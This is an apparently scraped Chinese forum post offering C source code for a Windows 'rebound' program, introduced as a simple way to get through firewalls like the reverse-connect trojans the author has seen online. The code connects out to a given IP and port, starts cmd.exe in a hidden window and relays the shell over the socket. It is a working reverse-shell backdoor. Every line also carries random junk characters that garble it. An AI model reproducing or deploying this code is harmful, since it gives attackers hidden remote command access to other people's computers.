这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y-)5d
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/* ============================== AmBLZ<f;
Rebound port in Windows NT DTCOhUIV
By wind,2006/7 ^qV6khg
===============================*/ 9^^:Y3j
#include hmJa1fw=
#include 9l}G{u9a
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#pragma comment(lib,"wsock32.lib") [u7i)fn5?
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void OutputShell(); myDcr|j-a
SOCKET sClient; zE]h]$oi
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7aeyddpM
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void main(int argc,char **argv) HI{IC!6
{ @fI2ZWN|
WSADATA stWsaData; VZr AZV^c
int nRet; P30|TU+B
SOCKADDR_IN stSaiClient,stSaiServer; zN,2
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if(argc != 3) q 1+{MPJ
{ 7SjWofv
printf("Useage:\n\rRebound DestIP DestPort\n"); zl@hg<n
return; `_>44!M
} N3?hu}
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WSAStartup(MAKEWORD(2,2),&stWsaData); YUQKy2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); td(4Fw||1y
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stSaiClient.sin_family = AF_INET; }Z8DVTpX}
stSaiClient.sin_port = htons(0); v42Z&PO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vXeI)vFK
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9M1 UkS$`@
{ ,2lH*=m;
printf("Bind Socket Failed!\n"); obSLy
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return; nx@h
} T#-U\C~o
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stSaiServer.sin_family = AF_INET; ?a'P;&@7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9Vtn62+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mI-9=6T_
& _mp!&5XV
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kr>F=|R]
{ </9@RO
printf("Connect Error!"); 4'`y5E
return; z*G(AcS)
} e6uVUzP4
OutputShell(); Z,5B(X j
} vlh$NK+F
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void OutputShell() tqicyNL
{ R]"3^k*
char szBuff[1024]; 's 'H&sa
SECURITY_ATTRIBUTES stSecurityAttributes; 3Tz~DdB
OSVERSIONINFO stOsversionInfo; n_@cjO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s:Io5C(
STARTUPINFO stStartupInfo; n$y@a?al
char *szShell; Gc{s?rB_
PROCESS_INFORMATION stProcessInformation; HR$;QHl~F
unsigned long lBytesRead; ~=Q Tv8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GKa_6X_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2*}qQ0J
stSecurityAttributes.lpSecurityDescriptor = 0; DI7g-h8`
stSecurityAttributes.bInheritHandle = TRUE; %mMPALN]{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6$LQO),,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6>j0geFyE2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x0$# 8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R>dd#`r"
stStartupInfo.wShowWindow = SW_HIDE; 9y( 491"o
stStartupInfo.hStdInput = hReadPipe; {q|Om?@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R&9Q#n-
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GetVersionEx(&stOsversionInfo); AQIBg9y7
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switch(stOsversionInfo.dwPlatformId) :XeRc"m<
{ )|j?aVqZ
case 1: hLF ;MH@
szShell = "command.com"; jC_m0Iwc
break; klSA Y
default: FgTWym_
szShell = "cmd.exe"; y]b&3&
break; OGAC[s~V
} #0'%51Jcl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l{4rKqtX
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send(sClient,szMsg,77,0); sG8G}f
while(1) JpC_au7CX
{ 2tI ,`pSU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jCp`woV
if(lBytesRead) x f<wM]&
{ 0=Mu|G|Z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IHcR/\mz
send(sClient,szBuff,lBytesRead,0); ,#Mt10e{
} nD\H$5>5
else oJe`]_XZ
{ !?5YXI,
lBytesRead=recv(sClient,szBuff,1024,0); #9CLIYJAd
if(lBytesRead<=0) break; 2i)vT)~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #8@o%%Fd
} ^j]_MiA4
} xj;V
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return; lL"ANlX-P
}